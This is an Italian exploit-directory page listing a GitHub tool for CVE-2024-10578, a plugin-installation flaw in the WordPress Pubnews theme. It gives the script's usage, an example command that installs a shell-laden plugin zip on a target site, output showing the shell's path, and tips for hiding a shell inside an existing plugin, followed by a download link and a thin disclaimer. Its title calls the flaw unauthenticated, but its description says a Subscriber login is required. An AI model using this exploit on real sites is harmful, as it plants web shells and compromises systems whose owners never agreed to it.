Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-10578 — Pubnews <= 1.0.7 - Installazione arbitraria di plugin non autenticata | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2024-10578
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubnxploited/cve-2024-10578

CVE-2024-10578

Pubnews <= 1.0.7 - Installazione arbitraria di plugin non autenticata

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-10578: Pubnews <= 1.0.7 - Installazione Arbitraria di Plugin Non Autenticata

Descrizione

Il tema Pubnews per WordPress è vulnerabile all'installazione arbitraria non autorizzata di plugin a causa di una mancanza di controllo delle capacità sulla funzione pubnews_importer_plugin_action_for_notice() in tutte le versioni fino alla 1.0.7 inclusa. Questa vulnerabilità consente a attaccanti autenticati con accesso di livello Subscriber o superiore di installare plugin arbitrari che possono essere sfruttati per compromettere altre vulnerabilità.

CWE

  • CWE-434: Caricamento illimitato di file con tipo pericoloso

CVSS

  • Punteggio: 8.8 (ALTO)
  • Versione: 3.1
  • Stringa del Vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Script di Exploit: wordpress_exploit.py

Questo script sfrutta la vulnerabilità nel tema Pubnews per installare un plugin arbitrario da un URL fornito. Il plugin può contenere una shell malevola o qualsiasi altro payload.

Utilizzo

root@kitploit:~

CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL

Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         The URL of the WordPress site
  -un, --username USERNAME
                        The username for WordPress login
  -p, --password PASSWORD
                        The password for WordPress login
  -url_zip, --plugin_url PLUGIN_URL
                        The plugin URL to install (must be a zip file with the shell injected inside)

Esempio

root@kitploit:~
python 
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip

Output

root@kitploit:~
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/

Note Importanti

  • L'URL del plugin deve essere un collegamento diretto a un file zip che contiene la shell o qualsiasi altro payload.
  • Si consiglia di utilizzare un plugin WordPress esistente, iniettarvi la shell, e poi zipparlo di nuovo. Caricare questo file zip su un collegamento diretto per lo sfruttamento.

⚠️ Disclaimer

Questo script è inteso solo per scopi educativi. L'autore non approva l'uso di questo script per attività illegali. Usalo responsabilmente e solo su sistemi per cui hai esplicita autorizzazione al test.

Di: Nxploited | Khaled Alenazi

Scarica lo strumento